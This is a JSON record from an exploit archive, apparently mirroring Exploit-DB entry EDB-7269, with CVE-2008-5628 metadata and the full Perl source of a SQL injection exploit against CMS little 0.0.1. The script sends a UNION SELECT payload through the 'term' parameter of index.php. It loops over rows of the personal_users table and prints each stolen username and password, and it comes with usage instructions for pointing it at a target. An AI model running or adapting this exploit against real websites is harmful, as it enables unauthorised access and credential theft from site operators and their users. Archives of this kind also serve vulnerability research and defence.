{"exploit":{"id":"EDB-7269","name":"CMS little 0.0.1 - 'term' SQL Injection (SQLi)","description":"CMS little 0.0.1 - 'term' SQL Injection (SQLi)","cves":["CVE-2008-5628"],"author":"CWH Underground","published":"2008-11-28","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/7269","path":"exploits/php/webapps/7269.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-7269.pl","vulnerabilities":[{"id":"CVE-2008-5628","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in index.php in CMS little 0.0.1 allows remote attackers to execute arbitrary SQL commands via the term parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-5628","cvss":{"version":"2.0","baseScore":6.8,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-5628"},"updatedAt":"2024-08-07T10:56:47.321Z","retrievedAt":"2026-11-26T13:06:59.699Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-7269.png?v=2","url":"https://exploitbin.com/exploits/EDB-7269","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-7269/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-7269/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"ï»¿#!/usr/bin/perl -w\n#==========================================================\n# CMS little (index.php term) Remote SQL Injection Exploit\n#==========================================================\n#\n#  ,--^----------,--------,-----,-------^--,\n#  | |||||||||   `--------'     |          O\t.. CWH Underground Hacking Team ..\n#  `+---------------------------^----------|\n#    `\\_,-------, _________________________|\n#      / XXXXXX /`|     /\n#     / XXXXXX /  `\\   /\n#    / XXXXXX /\\______(\n#   / XXXXXX /\n#  / XXXXXX /\n# (________(\n#  `------'\n#\n#AUTHOR : CWH Underground\n#DATE : 28 November 2008\n#SITE : cwh.citec.us\n#\n#\n#####################################################\n#APPLICATION : CMS little\n#VERSION     : 0.0.1\n#DOWNLOAD    : http://downloads.sourceforge.net/littlecms/CMSLite.zip\n######################################################\n#\n#Note: magic_quotes_gpc = off\n#\n#######################################################################################\n#Greetz      : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos, Gdiupo, GnuKDE, JK\n#Special Thx : asylu3, str0ke, citec.us, milw0rm.com\n#######################################################################################\n\n\nuse LWP::UserAgent;\nuse HTTP::Request;\n\nif ($#ARGV+1 != 2)\n{\n   print \"\\n==============================================\\n\";\n   print \"    CMS little Remote SQL Injection Exploit   \\n\";\n   print \"                                              \\n\";\n   print \"        Discovered By CWH Underground         \\n\";\n   print \"==============================================\\n\";\n   print \"                                              \\n\";\n   print \"  ,--^----------,--------,-----,-------^--,   \\n\";\n   print \"  | |||||||||   `--------'     |          O\t\\n\";\n   print \"  `+---------------------------^----------|   \\n\";\n   print \"    `\\_,-------, _________________________|   \\n\";\n   print \"      / XXXXXX /`|     /                      \\n\";\n   print \"     / XXXXXX /  `\\   /                       \\n\";\n   print \"    / XXXXXX /\\______(                        \\n\";\n   print \"   / XXXXXX /                                 \\n\";\n   print \"  / XXXXXX /   .. CWH Underground Hacking Team ..  \\n\";\n   print \" (________(                                   \\n\";\n   print \"  `------'                                    \\n\";\n   print \"                                              \\n\";\n   print \"Usage  : ./xpl.pl <Target> <Data Limit>\\n\";\n   print \"Example: ./xpl.pl http://www.target.com/cmslite 10\\n\";\n   exit();\n}\n\n$target  = ($ARGV[0] =~ /^http:\\/\\//) ?  $ARGV[0]:  'http://' . $ARGV[0];\n$number = $ARGV[1];\n\nprint \"\\n++++++++++++++++++++++++++++++++++++++++++++++++++++++\";\nprint \"\\n  ..:: SQL Injection Exploit By CWH Underground ::.. \";\nprint \"\\n++++++++++++++++++++++++++++++++++++++++++++++++++++++\\n\";\nprint \"\\n[+]Dump Username and Password\\n\";\n\nfor ($start=0;$start<$number;$start++) {\n\n$xpl = LWP::UserAgent->new() or die \"Could not initialize browser\\n\";\n$req = HTTP::Request->new(GET => $target.\"/index.php?term=a%%27%20and%201=2%20union%20select%201,concat(0x3a3a3a,name,0x3a3a,password,0x3a3a3a),3,4,5,6,7,8,9,10,11,12%20from%20personal_users%20limit%201%20offset%20\".$start.\"--+and+1=1\")or die \"Failed to Connect, Try again!\\n\";\n$res = $xpl->request($req);\n$info = $res->content;\n$count=$start+1;\n\nif ($info =~ /:::(.+):::/)\n{\n$dump=$1;\n($username,$password)= split('::',$dump);\nprintf \"\\n [$count]\\n [!]Username = $username \\n [!]Password = $password\\n\";\n}\nelse {\n\tprint \"\\n [*]Exploit Done !!\" or die \"\\n [*]Exploit Failed !!\\n\";\n\texit;\n}\n\n# milw0rm.com [2008-11-28]","sha256":"4cfe7ffb5354472043bc039384959c718dd6f30c25f347de8632033f33970516","bytes":3572,"fetchedAt":"2026-11-26T13:06:57.367Z","encoding":"utf-8 (display only; download retains original bytes)"}